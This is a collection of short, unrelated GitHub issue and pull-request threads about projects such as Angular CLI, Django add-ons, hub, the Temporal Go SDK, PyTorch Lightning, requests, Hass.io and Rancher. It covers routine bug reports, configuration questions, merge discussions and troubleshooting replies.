
@xuezhaojun I wonder if we should merge this, anything needs to be updated?

@xuezhaojun I wonder if we should merge this, anything needs to be updated?

Thanks for reminding me, the PR is updated with the actual implementation, we can merge it now.

/approve
/lgtm


Dependency graph

Allow mods to request the existence of other mods.
This may be out of the scope of bevy_wasm as different games will have different needs

Closing as out of scope


revert: fix(@angular-devkit/build-angular): sockPath for custom path

This reverts commit e097c56ada8dabddb7f0fd62b5cc0dd000179938.
8.3.x variant of #16416
Fixes #16410
Fixes #16266
NOTE TO CARETAKER: pending status of ci/angular: merge status is incorrect and can be ignored.  The two missing status checks do not exist on this branch.

maybe this isn't the best place to have a discussion about this issue but I've updated angular cli from 8.3.20 to 8.3.21
and found that this specific PR broke the live reload of all my projects which are behind an nginx server.
I get that the revert was to done to fix other issues which are legitimate.
But this fix (link to the original "fix" PR #15883) was done to allow livereload to work for multiple app behind a reverse proxy.


Django 1.8 support, it was there, only updates to test settings/setup, readme.

Django 1.8 support
It was there, only updates to test settings/setup, readme.
Also introduces small refactoring of tox commands and envlists.
Contains also additional runtests_18.py to support previous setup though it might be dropped with the runtests.py since they are not used anymore (also this should introduce consistency in test running across aldryn add-ons).

In general looks great. However, I'm not crazy about the introduction of test_settings18, is it not possible to keep all the settings in one file with conditionals based on Django.version?


Project's website returns 404

I'm not able to reach https://keplerproject.github.io/lualogging due to 404 error.

It looks like the new URL is going to be https://lunarmodules.github.io/lualogging. This org is new so some URLs both inside and out of the project are going to need updating. The sidebar link is one obvious place to start, the README next.

@ynezz we just started moving some repos into a new org, we'll update those links over the next couple of days. For now you can use the link @alerque provided.

So #7 should help fixing that, the last one is probably the project's sidebar.


Fix RLE buffer overflow

Fixes #2

I'll take your word for it... I'd love to have a little test, but not so much that I'd go and do it :wink: .

I'd love to have a little test

Me too! But that led to wanting to use Travis-CI, which led to wanting a standard build scheme, ... which led to #7. :grin:


Warning when NODE_ENV is production

Big warning when process.env.NODE_ENV === 'production'.
Even not applying the middlewares.

Shall we close it?


Add LICENCE

Hey, @AshutoshDash1999  I'm active GSSoC'23 contributor and I would like to add a license file to this repository. Please assign me to this issue. Thank you!

Jiggy9

Thank you, @Jiggy9, for your response. You are welcome to continue with your code contribution. Please ensure that you follow the code standards and include a screenshot when submitting your pull request.


protocal setting's not working

$ git version
git version 2.19.0
hub version 2.5.1

$ cat ~/.config/hub
github.com:
- user: wayou
  oauth_token: ***
  protocol: https

I've set the protocal via git config --global hub.protocol https but it still clone with ssh.

From https://hub.github.com/hub.1.html

If you prefer the HTTPS protocol for git operations, you can configure hub to generate all URLs with https: instead of git: or ssh::
$ git config --global hub.protocol https

The protocol option in ~/.config/hub is not meant for this; it's meant as API protocol GitHub Enterprise instances (not likely something that you need right now).

found a solution by forcing the git to use https:
$ git config --global url."https://github.com".insteadOf git://github.com


Can this model be used to classify videos?

Depends, if your classification criteria is how fast or slow the objects are moving in the video then yes it can used to classify them.
It will be helpful if you include your classification classes.


Include the new  MOBILE_API.xml for RPC spec 6.0

This PR is ready for review.
Risk
This PR makes minor API changes.
Testing Plan
Make sure that all tests pass
Changelog

Include the new  MOBILE_API.xml for RPC spec 6.0
Update tests and rename some methods to match the sepc

CLA

[x] I have signed the CLA

Codecov Report

Merging #1203 into develop will increase coverage by 0.11%.
The diff coverage is 100%.

@@              Coverage Diff              @@
##             develop    #1203      +/-   ##
=============================================
+ Coverage      46.94%   47.06%   +0.11%
- Complexity      4315     4324       +9
=============================================
  Files            481      481
  Lines          23460    23471      +11
  Branches        2682     2682
=============================================
+ Hits           11014    11047      +33
+ Misses         11781    11759      -22
  Partials         665      665

Impacted Files
Coverage Δ
Complexity Δ

...oxy/rpc/GetInteriorVehicleDataConsentResponse.java
100% <ø> (ø)
5 <0> (ø)
:arrow_down:

.../main/java/com/smartdevicelink/proxy/rpc/Grid.java
100% <100%> (ø)
15 <2> (ø)
:arrow_down:

...devicelink/proxy/rpc/CloseApplicationResponse.java
100% <100%> (ø)
3 <1> (+1)
:arrow_up:

...smartdevicelink/proxy/rpc/ShowAppMenuResponse.java
100% <100%> (ø)
3 <1> (+1)
:arrow_up:

...icelink/proxy/rpc/UnpublishAppServiceResponse.java
100% <100%> (ø)
3 <1> (+1)
:arrow_up:

...com/smartdevicelink/proxy/rpc/GetDTCsResponse.java
57.89% <0%> (-21.06%)
5% <0%> (-2%)

...icelink/proxy/rpc/GetSystemCapabilityResponse.java
68.75% <0%> (-6.25%)
5% <0%> (ø)

...link/proxy/rpc/SetInteriorVehicleDataResponse.java
68.75% <0%> (-6.25%)
5% <0%> (ø)

...evicelink/proxy/rpc/DiagnosticMessageResponse.java
68.75% <0%> (-6.25%)
5% <0%> (ø)

...link/proxy/rpc/GetInteriorVehicleDataResponse.java
73.68% <0%> (-5.27%)
7% <0%> (ø)

... and 8 more

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update ea606f5...6255531. Read the comment docs.


mock: in order mock calls using new testify mock.InOrder() method

What was changed

Upgrading testify to v1.10.0.
Adding an InOrderMockCalls(calls ...*MockCallWrapper) helper method to setup mock calls in order. It implements a similar helper that was recently added and released in to https://github.com/stretchr/testify.
I had opened a similar PR in the past: https://github.com/temporalio/sdk-go/pull/1623 but was canceled because the helper methods implemented in temporal are similar to the ones offered by "testify", and it was already added to "testify".
Why?

A more intuitive and cleaner way to define mock calls in order. For example:
env.InOrderMockCalls(
	env.OnActivity(namedActivity, mock.Anything, "call1").Return("result1", nil),
	env.OnActivity(namedActivity, mock.Anything, "call2").Return("result2", nil),
	env.OnActivity(namedActivity, mock.Anything, "call3").Return("result3", nil),
)

Checklist

Closes

How was this tested:

Any docs updates needed?

 Thank you for your submission! We really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.You have signed the CLA already but the status is still pending? Let us recheck it.

 Thank you for your submission! We really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.You have signed the CLA already but the status is still pending? Let us recheck it.

Looks like your branch isn't up to date and there are merge conflicts, please rebase and then we can run CI, thanks for the contribution

Ok, branch rebased and merge conflicts resolved. Thanks!

is there anything I need to do to fix the pipeline failures?

You will want to run go mod tidy in all directories of the repo that have a go.mod file

Thanks and sorry I missed that. I ran go mod tidy on them.

Just waiting on the CLA to be signed, then we can merge

Ok, I've signed a couple of times. It seems it doesn't refresh automatically


warning: the dependency :mailman requires Elixir "~> 1.0.0" but you are running on v1.3.1

When I compile Mailman with mix deps.compile, I receive this warning. If Mailman works in 1.3.1, then we should remove this warning. If not, we should open an issue to bring it up to date.

Sorry, I was using an old version of Mailman.


Simplify installation

Comments addressed.  I made the bash script accept and arg so the user can alter whether or not --user is used in the nbext stuff.

LGTM

I fixed the typo in jon's branch.

There's another typo in that line.

And also Min's comment about the flag.

There's another typo in that line.

I fixed the therefor. is that it?

Okay, I added the set -e to the bash


Bug:cannot pickle 'weakref' object

Dear authors,
i was trying to reproduce the example you provided below:
python generate.py \
    --ckpt_path "checkpoints/DPL_v1.ckpt" \
    --output_dir "workdir/generate/example_DPL" \
    --protein "LSEQLKHCNGILKELLSKKHAAYAWPFYKPVDASALGLHDYHDIIKHPMDLSTVKRKMENRDYRDAQEFAADVRLMFSNCYKYNPPDHDVVAMARKLQDVFEFRYAKMPD" \
    --ligand "Cc1ccc2c(c1c3cc(cc4c3nc([nH]4)C5CC5)c6c(noc6C)C)cccn2" \
    --num_samples 8

however there are some problems
Global seed set to 1234
Total number of atoms: 140
Using cache found in /pubhome/hzhu02/.cache/torch/hub/facebookresearch_esm_main
GPU available: True (cuda), used: True
TPU available: False, using: 0 TPU cores
IPU available: False, using: 0 IPUs
HPU available: False, using: 0 HPUs
Traceback (most recent call last):
  File "/pubhome/hzhu02/models/DiffusionProteinLigand/generate.py", line 170, in <module>
    main(args)
  File "/pubhome/hzhu02/models/DiffusionProteinLigand/generate.py", line 110, in main
    positions = trainer.predict(
  File "/pubhome/hzhu02/miniconda3/envs/dpl/lib/python3.9/site-packages/pytorch_lightning/trainer/trainer.py", line 949, in predict
    return self._call_and_handle_interrupt(
  File "/pubhome/hzhu02/miniconda3/envs/dpl/lib/python3.9/site-packages/pytorch_lightning/trainer/trainer.py", line 648, in _call_and_handle_interrupt
    return self.strategy.launcher.launch(trainer_fn, *args, trainer=self, **kwargs)
  File "/pubhome/hzhu02/miniconda3/envs/dpl/lib/python3.9/site-packages/pytorch_lightning/strategies/launchers/multiprocessing.py", line 107, in launch
    mp.start_processes(
  File "/pubhome/hzhu02/miniconda3/envs/dpl/lib/python3.9/site-packages/torch/multiprocessing/spawn.py", line 189, in start_processes
    process.start()
  File "/pubhome/hzhu02/miniconda3/envs/dpl/lib/python3.9/multiprocessing/process.py", line 121, in start
    self._popen = self._Popen(self)
  File "/pubhome/hzhu02/miniconda3/envs/dpl/lib/python3.9/multiprocessing/context.py", line 284, in _Popen
    return Popen(process_obj)
  File "/pubhome/hzhu02/miniconda3/envs/dpl/lib/python3.9/multiprocessing/popen_spawn_posix.py", line 32, in __init__
    super().__init__(process_obj)
  File "/pubhome/hzhu02/miniconda3/envs/dpl/lib/python3.9/multiprocessing/popen_fork.py", line 19, in __init__
    self._launch(process_obj)
  File "/pubhome/hzhu02/miniconda3/envs/dpl/lib/python3.9/multiprocessing/popen_spawn_posix.py", line 47, in _launch
    reduction.dump(process_obj, fp)
  File "/pubhome/hzhu02/miniconda3/envs/dpl/lib/python3.9/multiprocessing/reduction.py", line 60, in dump
    ForkingPickler(file, protocol).dump(obj)
TypeError: cannot pickle 'weakref' object

would you help me fix it?
env:
the same as the environment in environment.yml
pytorch-lightning         1.7.7
python                    3.9.16
pytorch                   1.12.1
cudatoolkit               11.3.1

Dear zhuhui-in,
Thank you for reporting the error. While I did not encounter the error on my machine, I was able to reproduce it by specifying strategy='ddp_spawn' when instantiating the trainer. Therefore, it is possible that the 'ddp_spawn' strategy was used implicitly in your case, leading to the error.
Could you please try to specify the trainer strategy explicitly? You can do this by adding the following line of code:
trainer = pl.Trainer.from_argparse_args(
    args,
    accelerator="auto",
    strategy="ddp",  # <- Added: specify the trainer strategy explicitly
    default_root_dir=args.output_dir,
    max_epochs=-1,
)

Please let me know if this solves the problem.
Best regards,
Shuya Nakata

Closing due to no response. Please reopen if necessary.

Closing due to no response. Please reopen if necessary.


SpecGloss - Model 0 needs to be super glossy

Make sure an empty specgloss is being initialized

Fix pending. Fixed the same issue with MetallicRoughness as well


[Debugger] VSCode remote debug session not closing properly when failed to attach to the target VM

Description:
Please note $subject. The VSCode debug session remains in active mode (orange colour) even after the message Failed to attach to the target VM, address: '<IP>:<PORT>'., as shown below.

Steps to reproduce:
Affected Versions:
OS, DB, other environment details and versions:
Related Issues (optional):

Suggested Labels (optional):

Suggested Assignees (optional):

Closing with https://github.com/ballerina-platform/ballerina-lang/pull/34991


mdf2iso: init at 0.3.1

Things done

[X] Tested using sandboxing
(nix.useSandbox on NixOS,
or option build-use-sandbox in nix.conf
on non-NixOS)
Built on platform(s)

[X] NixOS
[ ] OS X
[ ] Linux

[X] Tested compilation of all pkgs that depend on this change using nix-shell -p nox --run "nox-review wip"
[X] Tested execution of all binary files (usually in ./result/bin/)
[X] Fits CONTRIBUTING.md.

I'm getting

Initialized empty Git repository in /nix/store/dpndx513xxcwh5acmm0aq05ayi24lfqy-mdf2iso-5a8acaf/.git/
fatal: repository 'https://anonscm.debian.org/collab-maint/mdf2iso.git/' not found

Travis appears to experience the same problem.

Fixed.

Thank you


[ENG-1257] feat: Add WithWorkspace, connectors delegate to paramsbuilder

Changes

paramsbuilder.Workspace is used by relevant connectors, method returns substitutions map making usage concise
Based on Hubstpot formulated behaviour of paramsbuilder.Module with fallback module
all connectors delegate to paramsbuilder, shorter format

Thanks for this @Cobalt0s! Next time can you please:

request reviewer (if you don't have a dedicated reviewer for a particular connector, then type amp-labs/go into the reviewer section, and it'll auto-pick someone from our team)
make PRs isolated to one feature (e.g. Module related changes could have been in a different PR)

@laurenzlong yes, I felt it is not good that when I started refactoring I ended up with more than needed. I will try keep the changes better organised for multiple PRs.
Speaking of reviewer and linear, will do!

You might need to update the README as well.

Main readme file already has WithWorkspace example.


requests.exceptions.ProxyError: HTTPSConnectionPool: Failed to establish a new connection

Last week I started exploring requests library for invoking REST APIs, it was working fine, I was able to make calls as expected but today when I run the same python script, it fails with below error. Please help.
My OS: Ubuntu 16.04
Python: Python 2.7.12
requests library version: 2.18.1
Traceback (most recent call last):
File "restfilters.py", line 15, in
vcsession = vcrest.get_vc_session(vcip,"Administrator","password")
File "/home/vmware/vcrest.py", line 19, in get_vc_session
s.post('https://'+vcip+'/rest/com/vmware/cis/session',auth=(username,password))
File "/home/vmware/.local/lib/python2.7/site-packages/requests/sessions.py", line 549, in post
return self.request('POST', url, data=data, json=json, **kwargs)
File "/home/vmware/.local/lib/python2.7/site-packages/requests/sessions.py", line 502, in request
resp = self.send(prep, **send_kwargs)
File "/home/vmware/.local/lib/python2.7/site-packages/requests/sessions.py", line 612, in send
r = adapter.send(request, **kwargs)
File "/home/vmware/.local/lib/python2.7/site-packages/requests/adapters.py", line 502, in send
raise ProxyError(e, request=request)
requests.exceptions.ProxyError: HTTPSConnectionPool(host='<IP_ADDRESS>', port=443): Max retries exceeded with url: /rest/com/vmware/cis/session (Caused by ProxyError('Cannot connect to proxy.', NewConnectionError('<urllib3.connection.VerifiedHTTPSConnection object at 0x7fa16ac2c7d0>: Failed to establish a new connection: [Errno 113] No route to host',)))

We literally cannot connect to the proxy you've configured. It's unreachable. This is a network configuration error, not a requests error.

Ok @sigmavirus24 ,  I did check network connectivity between the server I am invoking the REST API and the VM from where I am running python script, it was pinging fine but it is giving same error as reported. I am not getting how to go ahead for troubleshooting this further. Earlier same setup worked fine. Any help would be really appreciated.

@vThinkBeyondVM The problem exists in that there is a proxy sitting somewhere between Requests and the server you wish to connect to. We cannot connect to the proxy. You have configured the proxy. If you need help debugging that further, please ask your specific questions on StackOverflow since this is not a defect (or bug) in Requests.

raise ProxyError(e, request=request)
requests.exceptions.ProxyError: HTTPSConnectionPool(host='www.instagram.com', port=443): Max retries exceeded with url: / (Caused by ProxyError('Cannot connect to proxy.', ConnectionResetErr


Hassio Snapshot not taking backup of /homeassistant

i get this error in the log, when taking the snapshot. If i try to open the snapshot tar file, not all of the homeassistant folder is there? fx the whole packages folder is missing.
WARNING (SyncWorker_13) [hassio.snapshots.snapshot] Can't snapshot folder homeassistant: [Errno 2] No such file or directory: '/data/homeassistant/home-assistant_v2.db-shm'
Home Assistant release with the issue:
 not sure when it started but, happens on both 0.80.0 and 0.80.1
Operating environment (Hass.io/Docker/Windows/etc.):
 Hassio on a raspberry pi 3

Got this error when the automated snapshots where taken last night.
WARNING (SyncWorker_13) [hassio.snapshots.snapshot] Can't snapshot folder homeassistant: [Errno 2] No such file or directory: '/data/homeassistant/home-assistant_v2.db-wal'

/move to home-assistant/hassio


Change QPDFExc type to unsupported for /Standard filter

and fix some typos

Looks good. Thanks for the doc typo fixes.


Grammatical error

I wonder how this happened in the first place... I assume it was copied directly from here: https://www.contributor-covenant.org/version/2/0/code_of_conduct/ or was created using the GitHub CoC template. It may be worth checking to ensure the entire thing is correctly copied.


Create new user through REST API generate a user not able to log in

Rancher versions:
rancher/server or rancher/rancher: 2.0.6
rancher/agent or rancher/rancher-agent:
Infrastructure Stack versions:
healthcheck:
ipsec:
network-services:
scheduler:
kubernetes (if applicable):
Docker version: (docker version,docker info preferred)
Docker version 18.06.0-ce, build 0ffa825
Operating system and kernel: (cat /etc/os-release, uname -r preferred)
Type/provider of hosts: (VirtualBox/Bare-metal/AWS/GCE/DO)
Setup details: (single node rancher vs. HA rancher, internal DB vs. external DB)
Environment Template: (Cattle/Kubernetes/Swarm/Mesos)
Steps to Reproduce:
Use the “/v3/users” API to create a new user.
API call similar to this one:
curl -u “{CATTLE_ACCESS_KEY}:{CATTLE_SECRET_KEY}”
-X POST
-H ‘Accept: application/json’
-H ‘Content-Type: application/json’
-d ‘{“description”:“testing user”, “me”:false, “mustChangePassword”:false, “name”:“test”, “password”:“testpasswd”, “principalIds”:[], “username”:“test”}’
‘https://tst-kubemaster.pochdp.csi.it/v3/users 2’
HTTP/1.1 POST /v3/users
Host: tst-kubemaster.pochdp.csi.it
Accept: application/json
Content-Type: application/json
Content-Length: 142
{
"description": "testing user",
"me": false,
"mustChangePassword": false,
"name": "test",
"password": "testpasswd",
"principalIds": [ ],
"username": "test"
}
Results:
User created, when trying to log in with this new user the UI return an error " e is undefined " .
No chance to log in.
This affects automation.
Thanks

I don't think anything changed in between versions, did your call work on previous versions? I've always used https://gist.github.com/superseb/cad9b87c844f166b9c9bf97f5dea1609 and that never failed.
Let me know if you think there is a bug.